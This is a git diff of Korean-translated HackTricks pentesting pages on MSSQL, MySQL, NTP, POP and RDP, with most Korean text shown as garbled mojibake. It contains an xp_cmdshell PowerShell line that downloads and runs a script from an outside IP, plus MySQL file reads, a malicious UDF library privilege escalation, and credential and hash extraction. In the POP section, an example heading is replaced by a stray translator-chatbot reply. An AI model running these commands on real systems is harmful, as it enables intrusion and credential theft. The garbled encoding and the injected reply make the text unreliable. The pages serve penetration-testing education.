๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**๋‚˜ ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„์— **์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€** ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +> ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๊ฐ€ sysadmin์ด ์•„๋‹ˆ๋”๋ผ๋„, **์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ** **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค** ๋˜๋Š” ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„์— **์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€** ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. sysadmin์ด ๋˜๋ฉด ๋‹ค๋ฅธ ๋ชจ๋“  ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”: ```sql @@ -620,7 +620,7 @@ go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" -https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html Entry_2: Name: Nmap for SQL diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 22d87b344..b85224361 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -34,9 +34,9 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` -### [**๋ธŒ๋ฃจํŠธ ํฌ์Šค**](../generic-hacking/brute-force.md#mysql) +### [**Brute force**](../generic-hacking/brute-force.md#mysql) -### ์ด์ง„ ๋ฐ์ดํ„ฐ ์ž‘์„ฑ +### ์ด์ง„ ๋ฐ์ดํ„ฐ ์“ฐ๊ธฐ ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -116,14 +116,14 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(โ€œlocalโ€์ด๋ผ๋Š” ๋‹จ์–ด์— ์ฃผ๋ชฉํ•˜์„ธ์š”)\ -โ€œlocalโ€์ด ์—†์œผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +(Notice the "local" word)\ +"local" ์—†์ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**์ดˆ๊ธฐ PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **์ด ๋ฌธ์„œ์—์„œ๋Š” ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์™„์ „ํ•œ ์„ค๋ช…๊ณผ RCE๋กœ ํ™•์žฅํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **์—ฌ๊ธฐ์—์„œ ๊ณต๊ฒฉ ๊ฐœ์š”๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) @@ -147,7 +147,7 @@ MySQL ์„œ๋น„์Šค์˜ ๊ตฌ์„ฑ์—์„œ ๋‹ค์–‘ํ•œ ์„ค์ •์ด ์‚ฌ์šฉ๋˜์–ด ์šด์˜ ๋ฐ ๋ณด - **`user`** ์„ค์ •์€ MySQL ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰๋  ์‚ฌ์šฉ์ž ์ง€์ •์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. - **`password`**๋Š” MySQL ์‚ฌ์šฉ์ž์™€ ๊ด€๋ จ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ค์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. - **`admin_address`**๋Š” ๊ด€๋ฆฌ ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค์—์„œ TCP/IP ์—ฐ๊ฒฐ์„ ์ˆ˜์‹ ํ•˜๋Š” IP ์ฃผ์†Œ๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. -- **`debug`** ๋ณ€์ˆ˜๋Š” ๋กœ๊ทธ ๋‚ด์˜ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํฌํ•จํ•˜์—ฌ ํ˜„์žฌ ๋””๋ฒ„๊น… ๊ตฌ์„ฑ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +- **`debug`** ๋ณ€์ˆ˜๋Š” ํ˜„์žฌ ๋””๋ฒ„๊น… ๊ตฌ์„ฑ์˜ ์ง€ํ‘œ๋กœ, ๋กœ๊ทธ ๋‚ด์— ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. - **`sql_warnings`**๋Š” ๊ฒฝ๊ณ ๊ฐ€ ๋ฐœ์ƒํ•  ๋•Œ ๋‹จ์ผ ํ–‰ INSERT ๋ฌธ์— ๋Œ€ํ•œ ์ •๋ณด ๋ฌธ์ž์—ด์ด ์ƒ์„ฑ๋˜๋Š”์ง€ ๊ด€๋ฆฌํ•˜๋ฉฐ, ๋กœ๊ทธ ๋‚ด์— ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. - **`secure_file_priv`**๋Š” ๋ฐ์ดํ„ฐ ๊ฐ€์ ธ์˜ค๊ธฐ ๋ฐ ๋‚ด๋ณด๋‚ด๊ธฐ ์ž‘์—…์˜ ๋ฒ”์œ„๋ฅผ ์ œํ•œํ•˜์—ฌ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค. @@ -169,18 +169,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ†ตํ•œ ๊ถŒํ•œ ์ƒ์Šน +### Privilege Escalation via library -๋งŒ์•ฝ **mysql ์„œ๋ฒ„๊ฐ€ root**(๋˜๋Š” ๋” ๋†’์€ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž)๋กœ ์‹คํ–‰๋˜๊ณ  ์žˆ๋‹ค๋ฉด, ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” **์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜**๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด์„œ๋Š” mysql์ด ์‹คํ–‰๋˜๊ณ  ์žˆ๋Š” OS์— ๋Œ€ํ•œ **๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ**๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql. -์‚ฌ์šฉํ•  ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” sqlmap๊ณผ metasploit ๋‚ด์—์„œ **`locate "*lib_mysqludf_sys*"`** ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **`.so`** ํŒŒ์ผ์€ **๋ฆฌ๋ˆ…์Šค** ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ด๊ณ , **`.dll`** ํŒŒ์ผ์€ **์œˆ๋„์šฐ** ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค. ํ•„์š”ํ•œ ๊ฒƒ์„ ์„ ํƒํ•˜์„ธ์š”. +The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need. -๋งŒ์•ฝ **๊ทธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค์ด ์—†๋‹ค๋ฉด**, **์ฐพ์•„๋ณด๊ฑฐ๋‚˜**, ์ด [**๋ฆฌ๋ˆ…์Šค C ์ฝ”๋“œ**](https://www.exploit-db.com/exploits/1518)๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ **๋ฆฌ๋ˆ…์Šค ์ทจ์•ฝ ๋จธ์‹  ๋‚ด์—์„œ ์ปดํŒŒ์ผ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -์ด์ œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ, ํŠน๊ถŒ ์‚ฌ์šฉ์ž(root?)๋กœ Mysql์— ๋กœ๊ทธ์ธํ•˜๊ณ  ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ฅด์„ธ์š”: +์ด์ œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ, ํŠน๊ถŒ ์‚ฌ์šฉ์ž(๋ฃจํŠธ?)๋กœ Mysql์— ๋กœ๊ทธ์ธํ•˜๊ณ  ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ฅด์„ธ์š”: #### Linux ```sql @@ -220,7 +220,7 @@ _/etc/mysql/debian.cnf_ ์•ˆ์—๋Š” ์‚ฌ์šฉ์ž **debian-sys-maint**์˜ **์ผ๋ฐ˜ ํ… ```bash cat /etc/mysql/debian.cnf ``` -์ด ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ **mysql ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +๋‹น์‹ ์€ **์ด ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ MySQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ํŒŒ์ผ _/var/lib/mysql/mysql/user.MYD_ ์•ˆ์—๋Š” **MySQL ์‚ฌ์šฉ์ž๋“ค์˜ ๋ชจ๋“  ํ•ด์‹œ**๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค (๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ mysql.user์—์„œ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋Š” ํ•ด์‹œ๋“ค์ž…๋‹ˆ๋‹ค) _. @@ -230,7 +230,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na ``` ### ๋กœ๊น… ํ™œ์„ฑํ™” -`/etc/mysql/my.cnf`์—์„œ ๋‹ค์Œ ์ค„์˜ ์ฃผ์„์„ ์ œ๊ฑฐํ•˜์—ฌ mysql ์ฟผ๋ฆฌ์˜ ๋กœ๊น…์„ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +mysql ์ฟผ๋ฆฌ์˜ ๋กœ๊น…์„ `/etc/mysql/my.cnf`์—์„œ ๋‹ค์Œ ์ค„์˜ ์ฃผ์„์„ ์ œ๊ฑฐํ•˜์—ฌ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ![](<../images/image (899).png>) @@ -590,7 +590,7 @@ Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). -https://book.hacktricks.xyz/pentesting/pentesting-mysql +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 4ea9b6bc7..f8576d5de 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -11,9 +11,9 @@ - **๋ชฉ์ **: ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์žฅ์น˜ ์‹œ๊ณ„๋ฅผ ๋™๊ธฐํ™”ํ•ฉ๋‹ˆ๋‹ค. - **์ค‘์š”์„ฑ**: ๋ณด์•ˆ, ๋กœ๊น… ๋ฐ ์šด์˜์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. - **๋ณด์•ˆ ์กฐ์น˜**: -- ์ธ์ฆ์ด ์žˆ๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” NTP ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. -- NTP ์„œ๋ฒ„์˜ ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. -- ๋ณ€์กฐ์˜ ์ง•ํ›„๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค. +- ์ธ์ฆ์ด ์žˆ๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” NTP ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค. +- NTP ์„œ๋ฒ„์˜ ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ์„ ์ œํ•œํ•˜์‹ญ์‹œ์˜ค. +- ๋ณ€์กฐ์˜ ์ง•ํ›„๋ฅผ ์œ„ํ•ด ๋™๊ธฐํ™”๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์‹ญ์‹œ์˜ค. **๊ธฐ๋ณธ ํฌํŠธ:** 123/udp ``` @@ -42,9 +42,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 [**NTP DDoS ๊ณต๊ฒฉ ์ž‘๋™ ๋ฐฉ์‹**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -**NTP ํ”„๋กœํ† ์ฝœ**์€ UDP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ TCP์™€ ๋‹ฌ๋ฆฌ ํ•ธ๋“œ์…ฐ์ดํฌ ์ ˆ์ฐจ ์—†์ด ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํŠน์„ฑ์€ **NTP DDoS ์ฆํญ ๊ณต๊ฒฉ**์—์„œ ์•…์šฉ๋ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๊ณต๊ฒฉ์ž๋Š” ๊ฐ€์งœ ์†Œ์Šค IP๋กœ ํŒจํ‚ท์„ ์ƒ์„ฑํ•˜์—ฌ ๊ณต๊ฒฉ ์š”์ฒญ์ด ํ”ผํ•ด์ž๋กœ๋ถ€ํ„ฐ ์˜ค๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŒจํ‚ท์€ ์ฒ˜์Œ์—๋Š” ์ž‘์ง€๋งŒ, NTP ์„œ๋ฒ„๊ฐ€ ํ›จ์”ฌ ๋” ํฐ ๋ฐ์ดํ„ฐ ์–‘์œผ๋กœ ์‘๋‹ตํ•˜๋„๋ก ํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ฆํญ์‹œํ‚ต๋‹ˆ๋‹ค. +**NTP ํ”„๋กœํ† ์ฝœ**์€ UDP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ TCP์™€ ๋‹ฌ๋ฆฌ ํ•ธ๋“œ์…ฐ์ดํฌ ์ ˆ์ฐจ ์—†์ด ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํŠน์„ฑ์€ **NTP DDoS ์ฆํญ ๊ณต๊ฒฉ**์—์„œ ์•…์šฉ๋ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๊ณต๊ฒฉ์ž๋Š” ๊ฐ€์งœ ์†Œ์Šค IP๋กœ ํŒจํ‚ท์„ ์ƒ์„ฑํ•˜์—ฌ ๊ณต๊ฒฉ ์š”์ฒญ์ด ํ”ผํ•ด์ž๋กœ๋ถ€ํ„ฐ ์˜จ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŒจํ‚ท์€ ์ฒ˜์Œ์—๋Š” ์ž‘์ง€๋งŒ, NTP ์„œ๋ฒ„๊ฐ€ ํ›จ์”ฌ ๋” ํฐ ๋ฐ์ดํ„ฐ ์–‘์œผ๋กœ ์‘๋‹ตํ•˜๋„๋ก ํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ฆํญ์‹œํ‚ต๋‹ˆ๋‹ค. -_**MONLIST**_ ๋ช…๋ น์€ ๋“œ๋ฌผ๊ฒŒ ์‚ฌ์šฉ๋˜์ง€๋งŒ NTP ์„œ๋น„์Šค์— ์—ฐ๊ฒฐ๋œ ๋งˆ์ง€๋ง‰ 600๋ช…์˜ ํด๋ผ์ด์–ธํŠธ๋ฅผ ๋ณด๊ณ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ช…๋ น ์ž์ฒด๋Š” ๊ฐ„๋‹จํ•˜์ง€๋งŒ, ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์—์„œ์˜ ์˜ค์šฉ์€ ์ค‘์š”ํ•œ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. +_**MONLIST**_ ๋ช…๋ น์€ ๋“œ๋ฌผ๊ฒŒ ์‚ฌ์šฉ๋˜์ง€๋งŒ, NTP ์„œ๋น„์Šค์— ์—ฐ๊ฒฐ๋œ ๋งˆ์ง€๋ง‰ 600๋ช…์˜ ํด๋ผ์ด์–ธํŠธ๋ฅผ ๋ณด๊ณ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ช…๋ น ์ž์ฒด๋Š” ๊ฐ„๋‹จํ•˜์ง€๋งŒ, ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์—์„œ์˜ ์˜ค์šฉ์€ ์ค‘์š”ํ•œ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. ```bash ntpdc -n -c monlist ``` @@ -64,11 +64,13 @@ Description: Notes for NTP Note: | The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed. -https://book.hacktricks.xyz/pentesting/pentesting-ntp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html Entry_2: Name: Nmap Description: Enumerate NTP Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP} ``` +โ€‹ + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index 2980db566..4e97abb63 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -2,16 +2,16 @@ {{#include ../banners/hacktricks-training.md}} -## ๊ธฐ๋ณธ ์ •๋ณด +## Basic Information -**Post Office Protocol (POP)**๋Š” ์ปดํ“จํ„ฐ ๋„คํŠธ์›Œํ‚น ๋ฐ ์ธํ„ฐ๋„ท ๋ถ„์•ผ์˜ ํ”„๋กœํ† ์ฝœ๋กœ ์„ค๋ช…๋˜๋ฉฐ, **์›๊ฒฉ ๋ฉ”์ผ ์„œ๋ฒ„์—์„œ ์ด๋ฉ”์ผ์„ ์ถ”์ถœํ•˜๊ณ  ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ**๋˜์–ด ๋กœ์ปฌ ์žฅ์น˜์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. OSI ๋ชจ๋ธ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต์— ์œ„์น˜ํ•œ ์ด ํ”„๋กœํ† ์ฝœ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฉ”์ผ์„ ๊ฐ€์ ธ์˜ค๊ณ  ๋ฐ›์„ ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. **POP ํด๋ผ์ด์–ธํŠธ**์˜ ์ž‘๋™์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฉ”์ผ ์„œ๋ฒ„์— ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๊ณ , ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋ฉฐ, ์ด๋Ÿฌํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ํด๋ผ์ด์–ธํŠธ ์‹œ์Šคํ…œ์— ๋กœ์ปฌ๋กœ ์ €์žฅํ•œ ํ›„ ์„œ๋ฒ„์—์„œ ์ œ๊ฑฐํ•˜๋Š” ๊ณผ์ •์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์—๋Š” ์„ธ ๊ฐ€์ง€ ๋ฒ„์ „์ด ์žˆ์ง€๋งŒ, **POP3**๊ฐ€ ๊ฐ€์žฅ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋ฒ„์ „์œผ๋กœ ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค. +**์šฐํŽธ๋ฌผ ํ”„๋กœํ† ์ฝœ (POP)**์€ ์ปดํ“จํ„ฐ ๋„คํŠธ์›Œํ‚น ๋ฐ ์ธํ„ฐ๋„ท ์˜์—ญ ๋‚ด์˜ ํ”„๋กœํ† ์ฝœ๋กœ ์„ค๋ช…๋˜๋ฉฐ, **์›๊ฒฉ ๋ฉ”์ผ ์„œ๋ฒ„์—์„œ ์ด๋ฉ”์ผ์„ ์ถ”์ถœํ•˜๊ณ  ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ**๋˜์–ด ๋กœ์ปฌ ์žฅ์น˜์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. OSI ๋ชจ๋ธ์˜ ์‘์šฉ ๊ณ„์ธต์— ์œ„์น˜ํ•œ ์ด ํ”„๋กœํ† ์ฝœ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฉ”์ผ์„ ๊ฐ€์ ธ์˜ค๊ณ  ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. **POP ํด๋ผ์ด์–ธํŠธ**์˜ ์ž‘๋™์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฉ”์ผ ์„œ๋ฒ„์— ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๊ณ , ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋ฉฐ, ์ด๋Ÿฌํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ํด๋ผ์ด์–ธํŠธ ์‹œ์Šคํ…œ์— ๋กœ์ปฌ๋กœ ์ €์žฅํ•œ ํ›„ ์„œ๋ฒ„์—์„œ ์ œ๊ฑฐํ•˜๋Š” ๊ณผ์ •์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์—๋Š” ์„ธ ๊ฐ€์ง€ ๋ฒ„์ „์ด ์žˆ์ง€๋งŒ, **POP3**๊ฐ€ ๊ฐ€์žฅ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋ฒ„์ „์œผ๋กœ ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 110, 995(ssl) ``` PORT STATE SERVICE 110/tcp open pop3 ``` -## ์—ด๊ฑฐ +## Enumeration ### ๋ฐฐ๋„ˆ ์ˆ˜์ง‘ ```bash @@ -26,7 +26,7 @@ openssl s_client -connect :995 -crlf -quiet ```bash nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port #All are default scripts ``` -`pop3-ntlm-info` ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์ผ๋ถ€ "**๋ฏผ๊ฐํ•œ**" ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค (Windows ๋ฒ„์ „). +`pop3-ntlm-info` ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์ผ๋ถ€ "**๋ฏผ๊ฐํ•œ**" ๋ฐ์ดํ„ฐ(Windows ๋ฒ„์ „)๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ### [POP3 ๋ธŒ๋ฃจํŠธํฌ์Šค](../generic-hacking/brute-force.md#pop) @@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET) TOP msg n Show first n lines of message number msg CAPA Get capabilities ``` -์˜ˆ: +I'm ready to assist you with the translation. Please provide the text you would like me to translate. ``` root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready @@ -87,7 +87,7 @@ Description: Notes for POP Note: | Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version. -https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 07bedd521..f65c8133e 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## ๊ธฐ๋ณธ ์ •๋ณด Microsoft์—์„œ ๊ฐœ๋ฐœํ•œ **Remote Desktop Protocol** (**RDP**)๋Š” ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์ปดํ“จํ„ฐ ๊ฐ„์˜ ๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค ์—ฐ๊ฒฐ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ์ž๋Š” **RDP** ํด๋ผ์ด์–ธํŠธ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ๋™์‹œ์— 